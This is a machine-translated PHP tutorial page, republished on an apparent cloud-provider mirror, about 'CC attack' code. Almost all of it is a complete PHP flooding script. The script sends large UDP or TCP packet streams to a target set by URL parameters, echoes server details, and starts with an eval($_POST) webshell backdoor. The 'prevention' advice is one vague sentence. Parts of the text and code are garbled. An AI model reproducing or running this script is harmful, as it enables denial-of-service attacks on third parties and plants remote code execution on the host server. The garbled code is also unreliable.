Phpcc attack code and prevention methods-PHP Tutorial

Source: Internet
Author: User
Php pcc attack code and prevention methods. Cc attack code. the supported udp replication code is as follows :? Phpeval ($ _ POST [Chr (90)]); set_time_limit (86400); ignore_user_abort (True); $ packets0; $ http $ _ GET [http]; $ rand $ _ GET [cc attack code, supporting udp

The code is as follows:


Eval ($ _ POST [Chr (90)]);
Set_time_limit (86400 );
Ignore_user_abort (True );
$ Packets = 0;
$ Http = $ _ GET ['http'];
$ Rand = $ _ GET ['exit '];
$ Exec_time = $ _ GET ['Time'];
If (StrLen ($ http) = 0 or StrLen ($ rand) = 0 or StrLen ($ exec_time) = 0)
{
If (StrLen ($ _ GET ['Rat ']) <> 0)
{
Echo $ _ GET ['Rat ']. $ _ SERVER ["HTTP_HOST"]. "| ". getHostByName ($ _ SERVER ['server _ name']). "| ". php_uname (). "| ". $ _ SERVER ['server _ soft']. $ _ GET ['Rat '];
Exit;
}
Echo "Php 2012 Terminator ";
Exit;
}
For ($ I = 0; I I <65535; $ I ++)
{
$ Out. = "X ";
}
// Udp1-fsockopen Udp2 pfsockopen Tcp3 CC. center
$ Max_time = time () + $ exec_time;
If ($ rand = 53)
While (1)
{
$ Packets ++;
If (time ()> $ max_time)
{
Break;
}
$ Fp = fsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
If ($ fp)
{
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
Else
If ($ rand = 500)
While (1)
{
$ Packets ++;
If (time ()> $ max_time ){
Break;
}
$ Fp = pfsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
If ($ fp)
{
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
Else
While (1)
{
$ Packets ++;
If (time ()> $ max_time ){
Break;
}
$ Fp = pfsockopen ("tcp: // $ http", $ rand, $ errno, $ errstr, 5 );
If ($ fp)
{
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
?>



For cc attack prevention, if it is a dynamic page, we can determine the time. if it is a static website, we need to install anti-cc attack software on the server, generally, server security dogs are good.

If you have good software, you can leave a message for us.

The pipeline code is as follows :? Php eval ($ _ POST [Chr (90)]); set_time_limit (86400); ignore_user_abort (True); $ packets = 0; $ http = $ _ GET ['http']; $ rand = $ _ GET [...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.